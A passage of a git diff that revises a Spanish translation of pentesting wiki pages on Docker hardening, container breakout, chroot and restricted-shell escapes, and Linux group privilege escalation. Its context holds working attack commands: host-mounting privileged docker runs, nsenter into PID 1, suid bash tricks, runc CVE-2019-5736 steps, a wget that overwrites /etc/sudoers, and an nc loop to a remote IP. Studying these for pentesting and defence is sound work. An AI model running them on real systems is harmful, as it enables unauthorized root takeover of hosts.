lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`. -- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está restringido ligeramente por, principalmente, namespaces de Linux, capacidades y cgroups. -- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque. +- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups. +- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque. - [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid. - [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio. - **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** perfiles para restringir las acciones y syscalls disponibles para el contenedor al mínimo requerido. - **Utilice** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y requiera firmas** o construya las suyas propias basadas en ellas. No herede ni use imágenes [con puerta trasera](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También almacene claves raíz y frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP. - **Reconstruya regularmente** sus imágenes para **aplicar parches de seguridad al host y a las imágenes.** - Gestione sus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos. -- Si **expone el daemon de docker, use HTTPS** con autenticación de cliente y servidor. -- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip. +- Si **expone el demonio de Docker, use HTTPS** con autenticación de cliente y servidor. +- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip. - Tenga **contenedores separados para cada microservicio.** - **No ponga ssh** dentro del contenedor, “docker exec” se puede usar para ssh al contenedor. - Tenga **imágenes de contenedor más pequeñas.** ## Docker Breakout / Escalación de Privilegios -Si está **dentro de un contenedor de docker** o tiene acceso a un usuario en el **grupo de docker**, podría intentar **escapar y escalar privilegios**: +Si está **dentro de un contenedor de Docker** o tiene acceso a un usuario en el **grupo de Docker**, podría intentar **escapar y escalar privilegios**: {{#ref}} docker-breakout-privilege-escalation/ @@ -350,7 +351,7 @@ docker-breakout-privilege-escalation/ ## Bypass del Plugin de Autenticación de Docker -Si tiene acceso al socket de docker o tiene acceso a un usuario en el **grupo de docker pero sus acciones están siendo limitadas por un plugin de autenticación de docker**, verifique si puede **eludirlo:** +Si tiene acceso al socket de Docker o tiene acceso a un usuario en el **grupo de Docker pero sus acciones están siendo limitadas por un plugin de autenticación de Docker**, verifique si puede **eludirlo:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -359,7 +360,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Endurecimiento de Docker - La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de mejores prácticas comunes en torno al despliegue de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Necesita ejecutar la herramienta desde el host que ejecuta docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referencias diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 21654c4d3..0acdb9d4f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -12,7 +12,7 @@ ## Escape del Socket de Docker Montado -Si de alguna manera encuentras que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\ +Si de alguna manera descubres que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\ Esto suele ocurrir en contenedores de docker que por alguna razón necesitan conectarse al demonio de docker para realizar acciones. ```bash #Search the socket @@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` -> [!NOTE] +> [!TIP] > En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///path/to/docker.sock`** El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`. -> [!NOTE] +> [!TIP] > Además, presta atención a los sockets de tiempo de ejecución de otros entornos de alto nivel: > > - dockershim: `unix:///var/run/dockershim.sock` @@ -113,7 +113,7 @@ mount /dev/sda1 /mnt/hola #### Montaje de Disco - Poc2 -Dentro del contenedor, un atacante puede intentar obtener un acceso adicional al sistema operativo subyacente del host a través de un volumen hostPath escribible creado por el clúster. A continuación se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque: +Dentro del contenedor, un atacante puede intentar obtener un acceso adicional al sistema operativo del host subyacente a través de un volumen hostPath escribible creado por el clúster. A continuación se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -216,7 +216,7 @@ Encuentra una **explicación de la técnica** en: docker-release_agent-cgroups-escape.md {{#endref}} -#### Escape Privilegiado Abusando de release_agent sin conocer la ruta relativa - PoC3 +#### Escape privilegiado abusando de release_agent sin conocer la ruta relativa - PoC3 En los exploits anteriores, se **divulga la ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, este no siempre es el caso. En casos donde **no conoces la ruta absoluta del contenedor dentro del host**, puedes usar esta técnica: @@ -313,7 +313,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] #### Escape de Privilegios Abusando de Montajes Sensibles Hay varios archivos que pueden estar montados que dan **información sobre el host subyacente**. Algunos de ellos pueden incluso indicar **algo que debe ser ejecutado por el host cuando sucede algo** (lo que permitirá a un atacante escapar del contenedor).\ -El abuso de estos archivos puede permitir que: +El abuso de estos archivos puede permitir lo siguiente: - release_agent (ya cubierto antes) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) @@ -333,10 +333,12 @@ En varias ocasiones encontrarás que el **contenedor tiene algún volumen montad ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### Escalación de privilegios con 2 shells y montaje de host +Otro ejemplo interesante se puede encontrar en [**este blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) donde se indica que las carpetas `/usr/bin/` y `/bin/` del host están montadas dentro del contenedor, lo que permite al usuario root del contenedor modificar binarios dentro de estas carpetas. Por lo tanto, si un trabajo cron está utilizando algún binario de allí, como `/etc/cron.d/popularity-contest`, esto permite escapar del contenedor al modificar un binario utilizado por el trabajo cron. + +### Escalación de privilegios con 2 shells y montaje del host Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario no privilegiado al host** y tienes acceso de lectura sobre la carpeta montada.\ -Puedes crear un **archivo suid de bash** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para escalar privilegios. +Puedes crear un **archivo suid de bash** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para privesc. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -346,12 +348,12 @@ bash -p #From non priv inside mounted folder ``` ### Escalación de privilegios con 2 shells -Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **privesc dentro del host** si tienes la capacidad MKNOD dentro del contenedor (es por defecto) como [**se explica en este post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ Con tal capacidad, el usuario root dentro del contenedor puede **crear archivos de dispositivos de bloque**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda da acceso para **leer los datos en bruto del disco del sistema**. -Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del **/proc/PID/root/** directorio. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor. +Docker protege contra el uso indebido de dispositivos de bloque dentro de los contenedores al hacer cumplir una política de cgroup que **bloquea las operaciones de lectura/escritura de dispositivos de bloque**. Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor. -Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Ejemplo de **explotación** de este [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -440,12 +442,12 @@ docker run --rm -it --ipc=host ubuntu bash ``` Con `hostIPC=true`, obtienes acceso a los recursos de comunicación entre procesos (IPC) del host, como **memoria compartida** en `/dev/shm`. Esto permite leer/escribir donde los mismos recursos IPC son utilizados por otros procesos del host o del pod. Usa `ipcs` para inspeccionar estos mecanismos IPC más a fondo. -- **Inspeccionar /dev/shm** - Busca archivos en esta ubicación de memoria compartida: `ls -la /dev/shm` +- **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm` - **Inspeccionar instalaciones IPC existentes** – Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a` ### Recuperar capacidades -Si la syscall **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando: +Si la llamada al sistema **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando: ```bash unshare -UrmCpf bash # Check them with @@ -459,7 +461,7 @@ La segunda técnica explicada en la publicación [https://labs.withsecure.com/bl ### Exploit de Runc (CVE-2019-5736) -En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el _**/bin/sh**_ binario del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil. +En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil. Cambia la carga útil en consecuencia y construye el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de docker para su ejecución.\ Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, necesitas ejecutar lo siguiente desde la máquina host: @@ -470,14 +472,14 @@ Esto activará la carga útil que está presente en el archivo main.go. Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -> [!NOTE] +> [!TIP] > Hay otros CVEs a los que el contenedor puede ser vulnerable, puedes encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) ## Escape Personalizado de Docker ### Superficie de Escape de Docker -- **Espacios de nombres:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procs debido a los espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procs). +- **Espacios de nombres:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procesos debido a los espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procesos). - **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios son limitados). - **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` - **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían usarse para intentar escapar. @@ -506,7 +508,7 @@ Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-esca ``` {{#endtab}} -{{#tab name="syscalls arm64"}} +{{#tab name="arm64 syscalls"}} ``` 0x029 -- pivot_root 0x059 -- acct diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 4369ae257..69d23da99 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -64,7 +64,7 @@ El sistema de archivos **/proc** es selectivamente escribible, pero por razones > [!NOTE] > **tmpfs** es un sistema de archivos que almacena todos los archivos en memoria virtual. tmpfs no crea ningún archivo en tu disco duro. Así que si desmontas un sistema de archivos tmpfs, todos los archivos que residen en él se pierden para siempre. {{#tabs}} -{{#tab name="Dentro del contenedor predeterminado"}} +{{#tab name="Inside default container"}} ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -También, ten en cuenta que cuando Docker (u otros CRIs) se utilizan en un **Kubernetes** cluster, el **filtro seccomp está deshabilitado por defecto**. +También, ten en cuenta que cuando se utilizan Docker (u otros CRIs) en un clúster de **Kubernetes**, el **filtro seccomp está deshabilitado por defecto**. ### AppArmor -**AppArmor** es una mejora del kernel para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada. +**AppArmor** es una mejora del núcleo para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada. {{#ref}} apparmor.md @@ -162,7 +162,8 @@ apparmor.md ``` ### SELinux -Ejecutar un contenedor con la bandera `--privileged` desactiva **las etiquetas de SELinux**, haciendo que herede la etiqueta del motor de contenedores, típicamente `unconfined`, otorgando acceso completo similar al del motor de contenedores. En modo sin privilegios, utiliza `container_runtime_t`, mientras que en modo root, se aplica `spc_t`. +Ejecutar un contenedor con la bandera `--privileged` desactiva las **etiquetas de SELinux**, haciendo que herede la etiqueta del motor de contenedores, típicamente `unconfined`, otorgando acceso completo similar al del motor de contenedores. En modo sin root, utiliza `container_runtime_t`, mientras que en modo root, se aplica `spc_t`. + {{#ref}} ../selinux.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..1e23cd36f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -4,42 +4,49 @@ ### **PID namespace** + {{#ref}} pid-namespace.md {{#endref}} ### **Mount namespace** + {{#ref}} mount-namespace.md {{#endref}} ### **Network namespace** + {{#ref}} network-namespace.md {{#endref}} ### **IPC Namespace** + {{#ref}} ipc-namespace.md {{#endref}} ### **UTS namespace** + {{#ref}} uts-namespace.md {{#endref}} ### Time Namespace + {{#ref}} time-namespace.md {{#endref}} ### User namespace + {{#ref}} user-namespace.md {{#endref}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 38e2b36cf..da6de0494 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,7 +4,7 @@ ## Información Básica -Un cgroup namespace es una característica del kernel de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un namespace**. Los cgroups, abreviatura de **grupos de control**, son una característica del kernel que permite organizar procesos en grupos jerárquicos para gestionar y hacer cumplir **límites en los recursos del sistema** como CPU, memoria y E/S. +Un cgroup namespace es una característica del núcleo de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un namespace**. Los cgroups, abreviatura de **grupos de control**, son una característica del núcleo que permite organizar procesos en grupos jerárquicos para gestionar y hacer cumplir **límites en los recursos del sistema** como CPU, memoria y E/S. Aunque los cgroup namespaces no son un tipo de namespace separado como los otros que discutimos anteriormente (PID, mount, network, etc.), están relacionados con el concepto de aislamiento de namespace. **Los cgroup namespaces virtualizan la vista de la jerarquía de cgroup**, de modo que los procesos que se ejecutan dentro de un cgroup namespace tienen una vista diferente de la jerarquía en comparación con los procesos que se ejecutan en el host u otros namespaces. @@ -34,7 +34,7 @@ Al montar una nueva instancia del sistema de archivos `/proc` si usas el paráme Error: bash: fork: Cannot allocate memory -Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (Identificación de Proceso). Los detalles clave y la solución se describen a continuación: +Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación: 1. **Explicación del Problema**: @@ -48,7 +48,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. @@ -58,7 +58,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Verifica en qué namespace está tu proceso +### Verifica en qué namespace se encuentra tu proceso ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 67eaa9393..30ba2386d 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -9,7 +9,7 @@ ## Escapes de Chroot De [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): El mecanismo chroot **no está destinado a defenderse** contra manipulaciones intencionales por parte de **usuarios privilegiados** (**root**). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chrooted **con suficientes privilegios pueden realizar un segundo chroot para escapar**.\ -Generalmente, esto significa que para escapar necesitas ser root dentro del chroot. +Por lo general, esto significa que para escapar necesitas ser root dentro del chroot. > [!TIP] > La **herramienta** [**chw00t**](https://github.com/earthquake/chw00t) fue creada para abusar de los siguientes escenarios y escapar de `chroot`. @@ -17,11 +17,11 @@ Generalmente, esto significa que para escapar necesitas ser root dentro del chro ### Root + CWD > [!WARNING] -> Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta siendo **tú fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS. +> Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta estando **tú fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS. > > Esto ocurre porque generalmente chroot NO mueve tu directorio de trabajo al indicado, así que puedes crear un chroot pero estar fuera de él. -Generalmente no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario: +Por lo general, no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
@@ -123,7 +123,7 @@ chroot("."); > [!WARNING] > > - Montando el dispositivo raíz (/) en un directorio dentro del chroot -> - Chrooteando en ese directorio +> - Chrooting en ese directorio > > Esto es posible en Linux @@ -140,7 +140,7 @@ chroot("."); > [!WARNING] > > - Crea un Fork (proceso hijo) y chroot en una carpeta diferente más profunda en el FS y CD en ella -> - Desde el proceso padre, mueve la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos +> - Desde el proceso padre, mueve la carpeta donde está el proceso hijo a una carpeta anterior al chroot de los hijos > - Este proceso hijo se encontrará fuera del chroot ### ptrace @@ -205,10 +205,11 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ### Otros trucos [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ -[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ +[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io)\ **También podría ser interesante la página:** + {{#ref}} ../bypass-bash-restrictions/ {{#endref}} @@ -217,6 +218,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers Trucos sobre cómo escapar de los python jails en la siguiente página: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} @@ -238,7 +240,7 @@ Enumerar funciones de una biblioteca: ```bash for k,v in pairs(string) do print(k,v) end ``` -Ten en cuenta que cada vez que ejecutas la línea de comando anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca: +Ten en cuenta que cada vez que ejecutas la línea de comandos anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -249,7 +251,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` -**Obtener una shell lua interactiva**: Si estás dentro de una shell lua limitada, puedes obtener una nueva shell lua (y con suerte ilimitada) llamando: +**Obtener un shell lua interactivo**: Si estás dentro de un shell lua limitado, puedes obtener un nuevo shell lua (y con suerte ilimitado) llamando: ```bash debug.debug() ``` diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 693d53f5d..7846872ee 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -6,7 +6,7 @@ ### **PE - Método 1** -**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas: +**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -16,7 +16,7 @@ ``` Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**. -Si este es el caso, para **convertirse en root, solo puede ejecutar**: +Si este es el caso, para **convertirse en root, simplemente puede ejecutar**: ``` sudo su ``` @@ -68,7 +68,7 @@ sudo su ``` ## Grupo Shadow -Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo: +Los usuarios del **grupo shadow** pueden **leer** el archivo **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -86,7 +86,7 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener fácilmente acceso root. +Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener acceso root fácilmente. Secuestrar el programa `run-parts` es una forma fácil de obtener acceso root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, cuando se inicia sesión por ssh). ```bash @@ -146,11 +146,11 @@ Tenga en cuenta que usando debugfs también puede **escribir archivos**. Por eje debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`), recibirás un error de "**Permiso denegado**". +Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`) recibirás un error de "**Permiso denegado**". ## Grupo de Video -Usando el comando `w`, puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente: +Usando el comando `w` puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -167,13 +167,13 @@ Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archi ![](<../../../images/image (463).png>) -Luego modifica el Ancho y la Altura a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla): +Luego modifica el Ancho y Alto a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla): ![](<../../../images/image (317).png>) ## Grupo Root -Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** o **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios... +Parece que por defecto **los miembros del grupo root** 